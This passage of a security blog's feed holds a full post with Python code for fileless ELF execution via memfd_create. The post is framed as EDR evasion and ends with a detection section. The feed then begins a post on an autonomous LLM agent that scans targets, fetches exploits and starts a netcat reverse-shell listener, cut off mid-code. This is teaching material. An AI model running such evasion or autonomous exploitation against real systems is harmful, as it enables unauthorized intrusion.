<p><strong>GitHub:</strong> <a href="https://github.com/MohitDabas/malshark">github.com/MohitDabas/malshark</a></p>]]></content><author><name>Mohit Dabas</name></author><category term="blog" /><category term="Malware-Analysis" /><category term="Network-Forensics" /><category term="MCP" /><category term="AI-Tools" /><category term="mohitdabas" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Linux Malware Development: Fileless Execution with memfd_create and Python</title><link href="http://mohitdabas.in/blog/linux-maldev-fileless-execution-memfd-create/" rel="alternate" type="text/html" title="Linux Malware Development: Fileless Execution with memfd_create and Python" /><published>2026-04-22T00:00:00+00:00</published><updated>2026-04-22T00:00:00+00:00</updated><id>http://mohitdabas.in/blog/linux-maldev-fileless-execution-memfd-create</id><content type="html" xml:base="http://mohitdabas.in/blog/linux-maldev-fileless-execution-memfd-create/"><![CDATA[<p><img src="/assets/images/linux-maldev-fileless/linux-maldev-fileless-execution-memfd-create-teaser.png" alt="linux-maldev-fileless-execution-memfd-create" class="img-responsive" /></p>

<p>Fileless execution is a common technique used in modern malware to evade traditional antivirus and Endpoint Detection and Response (EDR) solutions that rely on scanning files written to disk. In the Linux ecosystem, one of the most effective ways to achieve this is by using the <code class="language-plaintext highlighter-rouge">memfd_create</code> system call.</p>

<p>In this blog, we’ll explore how to execute an ELF binary directly from memory using Python, completely bypassing the disk. We’ll also look at this from a defender’s perspective to understand how modern EDRs log and detect this behavior.</p>

<blockquote>
  <p><strong>Note:</strong> This post is inspired by the excellent blog post <a href="https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html">In-Memory-Only ELF Execution</a> by MagisterQuis.</p>
</blockquote>

<h2 id="what-is-memfd_create">What is <code class="language-plaintext highlighter-rouge">memfd_create</code>?</h2>

<p>Introduced in Linux kernel 3.17, <code class="language-plaintext highlighter-rouge">memfd_create</code> allows a program to create an anonymous file that lives entirely in RAM. This file behaves like a regular file (you can read, write, and execute it), but it never touches the physical disk. Because it lacks a traditional file path, legacy security tools that monitor file system events (like <code class="language-plaintext highlighter-rouge">inotify</code>) often miss it entirely.</p>

<p>Once the payload is written into this memory-backed file, we can execute it by calling <code class="language-plaintext highlighter-rouge">execve</code> on the magic symbolic link found in <code class="language-plaintext highlighter-rouge">/proc/self/fd/&lt;fd_number&gt;</code>.</p>

<h2 id="python-implementation-memfd_execpy">Python Implementation: <code class="language-plaintext highlighter-rouge">memfd_exec.py</code></h2>

<p>Below is a pure Python implementation of this technique. We use Python’s built-in <code class="language-plaintext highlighter-rouge">os.memfd_create</code> (available in Python 3.8+) to allocate the memory file, write an ELF binary into it, and then execute it.</p>

<blockquote>
  <p><strong>Source Code:</strong> The script for this post can be found on GitHub: <a href="https://github.com/MohitDabas/Linux_Malware_Development/blob/main/linux-maldev-fileless/memfd_exec.py"><code class="language-plaintext highlighter-rouge">memfd_exec.py</code></a>. For this and other Linux malware development topics, check out the full <a href="https://github.com/MohitDabas/Linux_Malware_Development">Linux_Malware_Development</a> repository.</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="k">def</span> <span class="nf">run_elf_from_memory</span><span class="p">(</span><span class="n">elf_bytes</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span> <span class="n">argv</span><span class="p">:</span> <span class="nb">list</span><span class="p">):</span>
    <span class="s">"""
    Executes an ELF binary from memory using memfd_create.
    
    :param elf_bytes: The raw bytes of the ELF binary.
    :param argv: The argument list (argv[0] should be the program name).
    """</span>
    <span class="c1"># 1. Create an anonymous file in RAM
</span>    <span class="c1"># We use flags=0 to avoid MFD_CLOEXEC, as having it set can sometimes 
</span>    <span class="c1"># interfere with execve reading the file via /proc/self/fd/N
</span>    <span class="k">try</span><span class="p">:</span>
        <span class="n">fd</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">memfd_create</span><span class="p">(</span><span class="s">"anonymous_elf"</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">AttributeError</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"[-] os.memfd_create not available. Requires Python 3.8+"</span><span class="p">)</span>
        <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
        
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Created memfd with fd: </span><span class="si">{</span><span class="n">fd</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="c1"># 2. Write the ELF bytes to the file descriptor
</span>    <span class="c1"># We use closefd=False so the fd stays open
</span>    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">,</span> <span class="n">closefd</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">elf_bytes</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Wrote </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">elf_bytes</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes to memfd"</span><span class="p">)</span>

    <span class="c1"># 3. Execute the binary via the procfs magic link
</span>    <span class="n">fd_path</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"/proc/self/fd/</span><span class="si">{</span><span class="n">fd</span><span class="si">}</span><span class="s">"</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Executing </span><span class="si">{</span><span class="n">fd_path</span><span class="si">}</span><span class="s"> ...</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
    
    <span class="c1"># 4. execve replaces the current process with the new one
</span>    <span class="c1"># Note: We pass the environment variables as well.
</span>    <span class="n">os</span><span class="p">.</span><span class="n">execve</span><span class="p">(</span><span class="n">fd_path</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="c1"># Example: Run /bin/uname from memory
</span>    <span class="n">target_bin</span> <span class="o">=</span> <span class="s">"/bin/uname"</span>
    
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Reading </span><span class="si">{</span><span class="n">target_bin</span><span class="si">}</span><span class="s"> for testing..."</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">target_bin</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="n">elf_data</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[-] Failed to read </span><span class="si">{</span><span class="n">target_bin</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
        
    <span class="c1"># We pass the arguments we want the executed binary to receive
</span>    <span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="s">"uname"</span><span class="p">,</span> <span class="s">"-a"</span><span class="p">]</span>
    
    <span class="n">run_elf_from_memory</span><span class="p">(</span><span class="n">elf_data</span><span class="p">,</span> <span class="n">args</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="code-walkthrough">Code Walkthrough</h3>

<ol>
  <li><strong><code class="language-plaintext highlighter-rouge">os.memfd_create("anonymous_elf", 0)</code></strong>: This system call requests the kernel to allocate an anonymous file in memory. We name it <code class="language-plaintext highlighter-rouge">anonymous_elf</code>. We pass <code class="language-plaintext highlighter-rouge">0</code> for the flags so <code class="language-plaintext highlighter-rouge">MFD_CLOEXEC</code> is not set. If <code class="language-plaintext highlighter-rouge">MFD_CLOEXEC</code> was set, the file descriptor would close during execution, causing our <code class="language-plaintext highlighter-rouge">execve</code> to fail.</li>
  <li><strong>Writing the Payload</strong>: We open the file descriptor in write-binary mode (<code class="language-plaintext highlighter-rouge">'wb'</code>) and write our target ELF bytes (in this case, <code class="language-plaintext highlighter-rouge">/bin/uname</code>) into RAM.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/proc/self/fd/{fd}</code></strong>: The Linux kernel exposes file descriptors for every process via the <code class="language-plaintext highlighter-rouge">procfs</code>. Even though our memory file isn’t on disk, the kernel provides a path to it here.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">os.execve()</code></strong>: Finally, we execute the path. This replaces our Python process with the target ELF binary.</li>
</ol>

<hr />

<h2 id="defensive-perspective-edr-logging-and-detection">Defensive Perspective: EDR Logging and Detection</h2>

<p>While <code class="language-plaintext highlighter-rouge">memfd_create</code> successfully bypasses disk-based scanning, <strong>it is not invisible to modern EDRs or auditing tools</strong> (like Auditd, Sysmon for Linux, Falco, or Tetragon).</p>

<p>To start the process, the kernel still has to execute the <code class="language-plaintext highlighter-rouge">execve</code> system call. Modern EDRs hook directly into kernel system calls (often using eBPF) and capture all process execution events.</p>

<h3 id="what-does-the-edr-see">What does the EDR see?</h3>

<p>When our Python script calls <code class="language-plaintext highlighter-rouge">execve</code>, the EDR captures the arguments. Here is what the telemetry looks like:</p>

<ol>
  <li>
    <p><strong>The Executable Path</strong>: Because it is a memory-backed file unlinked from the filesystem, the EDR resolves the executable path to something like:
<code class="language-plaintext highlighter-rouge">Executable: /memfd:anonymous_elf (deleted)</code>
<em>(The kernel prepends <code class="language-plaintext highlighter-rouge">memfd:</code> and appends <code class="language-plaintext highlighter-rouge">(deleted)</code>).</em></p>
  </li>
  <li>
    <p><strong>The Command Line (argv)</strong>: The command line logged is exactly what we passed in the <code class="language-plaintext highlighter-rouge">args</code> array in Python:
<code class="language-plaintext highlighter-rouge">Command Line: uname -a</code></p>
  </li>
</ol>

<h3 id="a-typical-log-event">A Typical Log Event</h3>

<p>A SIEM or EDR alert generated by this script will look similar to this JSON payload:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"event_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Process Execution"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"parent_process"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/usr/bin/python3 memfd_exec.py"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"executable"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/memfd:anonymous_elf (deleted)"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"command_line"</span><span class="p">:</span><span class="w"> </span><span class="s2">"uname -a"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h3 id="why-this-triggers-immediate-alerts">Why this triggers immediate alerts</h3>

<p>From a threat hunting perspective, this telemetry is incredibly noisy and is considered a massive red flag:</p>

<ol>
  <li><strong>Execution from memory:</strong> Legitimate applications rarely execute binaries out of <code class="language-plaintext highlighter-rouge">/memfd:</code> or <code class="language-plaintext highlighter-rouge">/proc/*/fd/</code> (with a few exceptions like systemd or flatpak). This path alone is a high-confidence indicator of fileless malware.</li>
  <li><strong>Process Spoofing (Mismatch):</strong> The EDR will instantly notice the mismatch. The command line says <code class="language-plaintext highlighter-rouge">uname -a</code>, but the binary being executed is not <code class="language-plaintext highlighter-rouge">/bin/uname</code>; it’s a deleted memory file. This mismatch is a classic signature of evasion.</li>
  <li><strong>Anomalous Parent Process:</strong> Python suddenly spawning a child process that lives in memory is highly suspicious behavioral telemetry.</li>
</ol>

<h3 id="conclusion">Conclusion</h3>

<p>While <code class="language-plaintext highlighter-rouge">memfd_create</code> is an elegant way to avoid writing payloads to disk, defenders with robust kernel-level visibility will easily spot the anomalous <code class="language-plaintext highlighter-rouge">execve</code> patterns it generates.</p>]]></content><author><name>Mohit Dabas</name></author><category term="blog" /><category term="Linux-Malware-Development" /><category term="EDR-Evasion" /><category term="Fileless-Execution" /><category term="mohitdabas" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Building an Open-Source AI-Powered Auto-Exploiter with a 1.7B Parameter Model: No Paid APIs Required</title><link href="http://mohitdabas.in/blog/genai-auto-exploiter-tiny-opensource-llm/" rel="alternate" type="text/html" title="Building an Open-Source AI-Powered Auto-Exploiter with a 1.7B Parameter Model: No Paid APIs Required" /><published>2025-12-13T00:00:00+00:00</published><updated>2025-12-13T00:00:00+00:00</updated><id>http://mohitdabas.in/blog/genai-auto-exploiter-tiny-opensource-llm</id><content type="html" xml:base="http://mohitdabas.in/blog/genai-auto-exploiter-tiny-opensource-llm/"><![CDATA[<p><img src="/assets/images/genai-exploiter/genai-exploiter-teaser.png" alt="genai-exploiter" class="img-responsive" /></p>

<p>What if I told you that a <strong>1.7 billion parameter model</strong> running entirely on your local machine could autonomously scan networks, identify vulnerabilities, search for exploits, and execute them—all without a single penny spent on API calls? Welcome to the future of security automation where <strong>open-source AI meets penetration testing</strong>.</p>

<p>In this deep dive, I’ll show you how I built an <strong>AI-powered auto-exploiter</strong> that combines LangChain, LangGraph, and the tiny but mighty <code class="language-plaintext highlighter-rouge">qwen3:1.7b</code> model to create an autonomous penetration testing agent. This isn’t just another GPT wrapper—this is a <strong>ReAct agent</strong> that thinks, plans, and executes complex security workflows.</p>

<blockquote>
  <p><strong>⚠️ DISCLAIMER</strong>: This tool is for educational and authorized security testing only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing any system.</p>
</blockquote>

<h2 id="table-of-contents">Table of Contents</h2>
<ul>
  <li><a href="#why-this-matters">Why This Matters</a></li>
  <li><a href="#the-architecture">The Architecture</a></li>
  <li><a href="#understanding-react-agents">Understanding ReAct Agents</a></li>
  <li><a href="#tool-arsenal">Tool Arsenal</a></li>
  <li><a href="#the-complete-code">The Complete Code</a></li>
  <li><a href="#how-it-works-step-by-step">How It Works: Step-by-Step</a></li>
  <li><a href="#real-world-example">Real-World Example</a></li>
  <li><a href="#why-qwen317b">Why Qwen3:1.7b?</a></li>
  <li><a href="#the-secret-sauce-system-prompting">The Secret Sauce: System Prompting</a></li>
  <li><a href="#challenges-and-solutions">Challenges and Solutions</a></li>
  <li><a href="#future-improvements">Future Improvements</a></li>
  <li><a href="#installation-and-setup">Installation and Setup</a></li>
</ul>

<h2 id="why-this-matters">Why This Matters</h2>

<p>The cybersecurity landscape is shifting. We’re moving from manual exploitation to <strong>AI-assisted security testing</strong>, but most solutions rely on expensive cloud APIs (looking at you, GPT-4). Here’s what makes this approach revolutionary:</p>

<ol>
  <li><strong>100% Local Execution</strong>: No data leaves your machine. Perfect for sensitive pentests.</li>
  <li><strong>Zero Cost</strong>: No API fees. Run it 24/7 without worrying about your credit card.</li>
  <li><strong>Tiny Footprint</strong>: The entire model is only ~1GB. Runs on a potato.</li>
  <li><strong>Autonomous Decision Making</strong>: The agent reasons about service versions, exploit suitability, and execution strategies.</li>
  <li><strong>Fully Customizable</strong>: Open-source tools you can modify and extend.</li>
</ol>

<h2 id="the-architecture">The Architecture</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌─────────────────────────────────────────────────────────────┐
│                      User Input                              │
│                  (Target IP/Hostname)                        │
└────────────────────┬────────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────────┐
│              LangGraph ReAct Agent                           │
│         (Powered by Qwen3:1.7b via Ollama)                  │
│                                                              │
│  ┌─────────────────────────────────────────────────┐       │
│  │  Think → Act → Observe → Think → Act...        │       │
│  └─────────────────────────────────────────────────┘       │
└───┬─────────────┬──────────────┬──────────────┬────────────┘
    │             │              │              │
    ▼             ▼              ▼              ▼
┌─────────┐  ┌──────────┐  ┌──────────┐  ┌──────────────┐
│  Nmap   │  │Searchspl │  │  Mirror  │  │   Execute    │
│  Scan   │  │   oit    │  │ Exploit  │  │   Exploit    │
└─────────┘  └──────────┘  └──────────┘  └──────────────┘
    │             │              │              │
    └─────────────┴──────────────┴──────────────┘
                     │
                     ▼
            ┌────────────────┐
            │ Target System  │
            └────────────────┘
</code></pre></div></div>

<h2 id="understanding-react-agents">Understanding ReAct Agents</h2>

<p><strong>ReAct (Reasoning + Acting)</strong> is a paradigm where LLMs generate reasoning traces and task-specific actions in an interleaved manner. Here’s how it works:</p>

<h3 id="the-react-loop">The ReAct Loop</h3>

<ol>
  <li><strong>Thought</strong>: The agent reasons about what to do next</li>
  <li><strong>Action</strong>: The agent calls a tool</li>
  <li><strong>Observation</strong>: The agent receives the tool output</li>
  <li><strong>Repeat</strong>: Process continues until task is complete</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Thought: I need to scan the target to identify services
Action: scan_target("192.168.1.100")
Observation: Port 22 open - SSH 2.0 OpenSSH_7.4

Thought: I found OpenSSH 7.4, let me search for exploits
Action: search_exploits("OpenSSH 7.4")
Observation: Found CVE-2023-XXXX - Remote Code Execution

Thought: This exploit looks promising, let me download it
Action: mirror_exploit("EDB-12345")
...
</code></pre></div></div>

<p>This is fundamentally different from simple prompt-response systems. The agent <strong>maintains state</strong> and <strong>plans ahead</strong>.</p>

<h2 id="tool-arsenal">Tool Arsenal</h2>

<p>I’ve equipped the agent with 7 powerful tools, each serving a specific purpose:</p>

<h3 id="1-scan_target---network-reconnaissance">1. <code class="language-plaintext highlighter-rouge">scan_target</code> - Network Reconnaissance</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">scan_target</span><span class="p">(</span><span class="n">target</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">ports</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="bp">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Scans the given target (IP or hostname) using nmap to identify 
    open ports and service versions.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Scanning target: </span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s"> (Ports: </span><span class="si">{</span><span class="n">ports</span> <span class="k">if</span> <span class="n">ports</span> <span class="k">else</span> <span class="s">'default'</span><span class="si">}</span><span class="s">)"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">command</span> <span class="o">=</span> <span class="p">[</span><span class="s">"nmap"</span><span class="p">,</span> <span class="s">"-sV"</span><span class="p">,</span> <span class="s">"-T4"</span><span class="p">,</span> <span class="n">target</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">ports</span><span class="p">:</span>
            <span class="n">command</span><span class="p">.</span><span class="n">extend</span><span class="p">([</span><span class="s">"-p"</span><span class="p">,</span> <span class="n">ports</span><span class="p">])</span>
            
        <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">check</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">result</span><span class="p">.</span><span class="n">stdout</span>
    <span class="k">except</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">CalledProcessError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error running nmap: </span><span class="si">{</span><span class="n">e</span><span class="p">.</span><span class="n">stderr</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<p><strong>Why this matters</strong>: The <code class="language-plaintext highlighter-rouge">-sV</code> flag performs version detection, which is crucial for finding matching exploits. The <code class="language-plaintext highlighter-rouge">-T4</code> flag speeds up the scan (timing template 4 out of 5).</p>

<h3 id="2-search_exploits---vulnerability-database-search">2. <code class="language-plaintext highlighter-rouge">search_exploits</code> - Vulnerability Database Search</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">search_exploits</span><span class="p">(</span><span class="n">query</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Searches for exploits using searchsploit based on the provided query.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Searching exploits for: </span><span class="si">{</span><span class="n">query</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">search_terms</span> <span class="o">=</span> <span class="n">query</span><span class="p">.</span><span class="n">split</span><span class="p">()</span>
        <span class="n">command</span> <span class="o">=</span> <span class="p">[</span><span class="s">"searchsploit"</span><span class="p">,</span> <span class="s">"--json"</span><span class="p">]</span> <span class="o">+</span> <span class="n">search_terms</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="n">result</span><span class="p">.</span><span class="n">returncode</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
            <span class="k">return</span> <span class="sa">f</span><span class="s">"Searchsploit returned error or no results: </span><span class="si">{</span><span class="n">result</span><span class="p">.</span><span class="n">stderr</span><span class="si">}</span><span class="s">"</span>
        
        <span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">result</span><span class="p">.</span><span class="n">stdout</span><span class="p">)</span>
        <span class="n">exploits</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"RESULTS_EXPLOIT"</span><span class="p">,</span> <span class="p">[])</span>
        
        <span class="k">if</span> <span class="ow">not</span> <span class="n">exploits</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"No exploits found."</span>
        
        <span class="c1"># Filter for Python or C/C++ exploits
</span>        <span class="n">summary</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">for</span> <span class="n">exploit</span> <span class="ow">in</span> <span class="n">exploits</span><span class="p">:</span> 
            <span class="n">path</span> <span class="o">=</span> <span class="n">exploit</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'Path'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">path</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">'.py'</span><span class="p">)</span> <span class="ow">or</span> <span class="n">path</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">'.c'</span><span class="p">)</span> <span class="ow">or</span> <span class="n">path</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">'.cpp'</span><span class="p">):</span>
                <span class="n">summary</span><span class="p">.</span><span class="n">append</span><span class="p">(</span>
                    <span class="sa">f</span><span class="s">"Title: </span><span class="si">{</span><span class="n">exploit</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'Title'</span><span class="p">)</span><span class="si">}</span><span class="s">, "</span>
                    <span class="sa">f</span><span class="s">"ID: </span><span class="si">{</span><span class="n">exploit</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'EDB-ID'</span><span class="p">)</span><span class="si">}</span><span class="s">, "</span>
                    <span class="sa">f</span><span class="s">"Type: </span><span class="si">{</span><span class="n">exploit</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'Type'</span><span class="p">)</span><span class="si">}</span><span class="s">, "</span>
                    <span class="sa">f</span><span class="s">"Path: </span><span class="si">{</span><span class="n">path</span><span class="si">}</span><span class="s">"</span>
                <span class="p">)</span>
        
        <span class="k">if</span> <span class="ow">not</span> <span class="n">summary</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"No Python or C/C++ exploits found."</span>
        
        <span class="k">return</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">summary</span><span class="p">[:</span><span class="mi">5</span><span class="p">])</span>  <span class="c1"># Top 5 matches
</span>            
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error running searchsploit: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<p><strong>Key Intelligence</strong>: The tool filters for Python and C/C++ exploits because they’re easier to execute and modify. JSON output gives us structured data the LLM can parse.</p>

<h3 id="3-mirror_exploit---exploit-download">3. <code class="language-plaintext highlighter-rouge">mirror_exploit</code> - Exploit Download</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">mirror_exploit</span><span class="p">(</span><span class="n">exploit_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Mirrors (downloads) the exploit with the given EDB-ID to 
    the current directory.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Mirroring exploit ID: </span><span class="si">{</span><span class="n">exploit_id</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">command</span> <span class="o">=</span> <span class="p">[</span><span class="s">"searchsploit"</span><span class="p">,</span> <span class="s">"-m"</span><span class="p">,</span> <span class="n">exploit_id</span><span class="p">]</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">result</span><span class="p">.</span><span class="n">stdout</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error mirroring exploit: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<h3 id="4-inspect_exploit_code---code-analysis">4. <code class="language-plaintext highlighter-rouge">inspect_exploit_code</code> - Code Analysis</h3>

<p>This is where the magic happens. The agent <strong>reads and analyzes</strong> the exploit code to understand:</p>

<ul>
  <li>What arguments it needs</li>
  <li>Whether it’s a bind shell or reverse shell</li>
  <li>What ports to use</li>
  <li>Any manual setup required</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">inspect_exploit_code</span><span class="p">(</span><span class="n">file_path</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Reads the complete content of an exploit file. 
    Use this to analyze the code logic, requirements, arguments, 
    and if it requires manual intervention.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Reading exploit code: </span><span class="si">{</span><span class="n">file_path</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="s">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="s">"Error reading file: </span><span class="si">{</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
</code></pre></div></div>

<h3 id="5-start_listener---reverse-shell-handler">5. <code class="language-plaintext highlighter-rouge">start_listener</code> - Reverse Shell Handler</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">tool</span>
<span class="k">def</span> <span class="nf">start_listener</span><span class="p">(</span><span class="n">port</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="s">"""
    Starts a netcat listener on the specified port in the background.
    Useful for catching reverse shells.
    """</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Starting background listener on port </span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">log_file</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"listener_</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">.log"</span>
